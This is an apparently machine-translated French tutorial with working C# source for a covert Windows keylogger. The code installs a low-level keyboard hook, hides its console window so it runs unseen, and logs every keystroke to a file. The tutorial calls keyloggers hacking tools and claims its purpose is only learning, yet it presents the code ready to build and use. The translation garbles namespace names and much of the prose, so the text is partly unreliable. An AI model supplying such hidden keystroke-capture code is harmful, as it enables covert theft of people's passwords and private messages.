Faire Votre Propre Enregistreur de frappe À L'Aide De C#.Net
par Arkadeep De
C'est un programme d'application qui est utilisé pour obtenir les toutes les entrées de clé à partir de ceux du clavier. habituellement, il utilise pour le piratage des fins.
Selon Webopedia :
Un Enregistreur de frappe est un type de logiciel de surveillance (soit des logiciels ou des logiciels espions) qui a la capacité d'enregistrer toutes les frappes de vous rendre dans un fichier journal, généralement chiffré. Un Enregistreur de frappe enregistreur peut enregistrer des messages instantanés, e-mail, et toute information que vous tapez à tout moment à l'aide de votre clavier.
Ici, je vais montrer ce n'est pas pour pirater quelqu'des ordinateurs, mais pour connaître le processus.
Donc, permet de commencer à faire nos propres Enregistreur de frappe.
D'abord lancer une Application Console dans visual Studio.
Maintenant, ajoutez de l'espace de noms
- en utilisant le Système.Diagnostics;
- en utilisant le Système.De Windows.Formes;
- en utilisant le Système.Moment de l'exécution.InteropServices;
- en utilisant le Système.IO;
Maintenant, ajoutez quelques privée des variables globales
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
Maintenant dans le main()
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE); // to hide the running application
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
Ajoutez maintenant de ces codes à l'extérieur de Main()
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
/*for this create a folder named "abc" in C dirve*/
StreamWriter sw = new StreamWriter(@"C:\abc"+ @"\log.txt", true);
//StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
sw.Write((Keys)vkCode);
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
Maintenant, ajoutez quelques Dll
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
et à la fin faire le SW_HIDE 0
const int SW_HIDE = 0;
Maintenant, après avoir fait tous ces vous obtiendrez une erreur dans l'utilisation du Système.De Windows.Les formes;.
Pour éviter cette erreur, vous devez ajouter une référence de Windows.Les formulaires.
Comment faire?
Clic droit sur le nom du projet dans l'Explorateur de solutions. Et cliquez sur Ajouter une Référence.

Maintenant sur le .NET onglet choisir le Système.De Windows.Formulaire
Et cliquez sur le bouton OK. Maintenant, si vous vérifiez dans la Référence de l'Explorateur de solutions, vous obtiendrez que la référence a été ajoutée.
Maintenant Construire(Appuyez sur la touche F6) et de vérifier est-il de toute erreur ou pas. Comme par le code il n'en faut pas d'erreur. Afin d'exécuter le programme.
Si vous exécutez le code avec l'Application.StartupPath ensuite, vérifiez le fichier journal dans la corbeille -> dossier de débogage. Et vous obtenez également la .EXE en vertu de ce dossier. Alors profitez-en...
Télécharger le code source complet ici.
Date de publication: